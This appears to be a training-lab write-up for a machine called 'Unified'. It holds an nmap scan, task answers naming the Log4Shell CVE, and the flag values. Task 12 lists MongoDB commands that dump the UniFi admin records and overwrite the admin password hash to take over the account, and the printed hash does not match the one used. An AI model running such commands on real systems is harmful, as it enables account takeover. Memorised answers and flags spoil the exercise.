Unified

Initial Scan

sudo nmap -T4 -Pn -sV -sC -v 10.129.96.149 -oA Unified
sudo nmap -T4 -Pn -sV -sC -v 10.129.96.149 -oA Unified
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 04:39 EDT
<snip>
Discovered open port 8080/tcp on 10.129.96.149
Discovered open port 22/tcp on 10.129.96.149
Discovered open port 8443/tcp on 10.129.96.149
Discovered open port 6789/tcp on 10.129.96.149
Completed SYN Stealth Scan at 04:39, 1.56s elapsed (1000 total ports)
Initiating Service scan at 04:39
Scanning 4 services on 10.129.96.149
Completed Service scan at 04:42, 156.77s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.96.149.
Initiating NSE at 04:42
Completed NSE at 04:42, 14.31s elapsed
Initiating NSE at 04:42
Completed NSE at 04:42, 1.08s elapsed
Initiating NSE at 04:42
Completed NSE at 04:42, 0.00s elapsed
Nmap scan report for 10.129.96.149
Host is up (0.020s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
6789/tcp open  ibm-db2-admin?
8080/tcp open  http-proxy
|_http-title: Did not follow redirect to https://10.129.96.149:8443/manage
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 431
|     Date: Thu, 26 Oct 2023 08:39:50 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 404 
|     Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 
|     Found</h1></body></html>
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 302 
|     Location: http://localhost:8080/manage
|     Content-Length: 0
|     Date: Thu, 26 Oct 2023 08:39:50 GMT
|     Connection: close
|   RTSPRequest, Socks5: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Thu, 26 Oct 2023 08:39:50 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
8443/tcp open  ssl/nagios-nsca Nagios NSCA
| http-title: UniFi Network
|_Requested resource was /manage/account/login?redirect=%2Fmanage
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Subject Alternative Name: DNS:UniFi
| Issuer: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-12-30T21:37:24
| Not valid after:  2024-04-03T21:37:24
| MD5:   e6be:8c03:5e12:6827:d1fe:612d:dc76:a919
|_SHA-1: 111b:aa11:9cca:4401:7cec:6e03:dc45:5cfe:65f6:d829
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<snip>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Task 1

Which are the first four open ports?

Answer: 22,6789,8080,8443

Task 2

What is the title of the software that is running running on port 8443?

Answer: UniFi Network

Task 3

What is the version of the software that is running?

Answer: 6.4.54

Task 4

What is the CVE for the identified vulnerability?

Answer: CVE-2021-44228

Task 5

What protocol does JNDI leverage in the injection?

Answer: ldap

Task 6

What tool do we use to intercept the traffic, indicating the attack was successful?

Answer: tcpdump

Task 7

What port do we need to inspect intercepted traffic for?

Answer: 389

Task 8

What port is the MongoDB service running on?

Answer: 27117

Task 9

What is the default database name for UniFi applications?

Answer: ace

Task 10

What is the function we use to enumerate users within the database in MongoDB?

Answer: db.admin.find()

Task 11

What is the function we use to update users within the database in MongoDB?

Answer: db.admin.update()

Task 12

What is the password for the root user? Grab admin PW from MongoDB

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

Update admin password

mkpasswd -m sha-512 Password1234

$6$sbnjIZBtmRds.L/E$fEKZhosqeHykiVWT1IBGju43WdVdDauv5RsvIPifi32CC2TTNU8kHOd2ToaW8fIX7XXM8P5Z8j4NB1gJGTONl1
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$ttw6pQsuECHKIDhO$zNY4cTuEmzd8kpQZHShWAIms1LpeEyH7NfcYXVpK3FN6mzwgKyf21T2208HS0jt4Ve.wSpifTfKbN4pcpqiL8/"}})'

Login with administrator:Password1234

Answer: NotACrackablePassword4U2022

Task 13

Submit User Flag

Answer: 6ced1a6a89e666c0620cdb10262ba127

Task 14

Submit Root Flag

Answer: e50bc93c75b634e4b272d2f771c33681

Last updated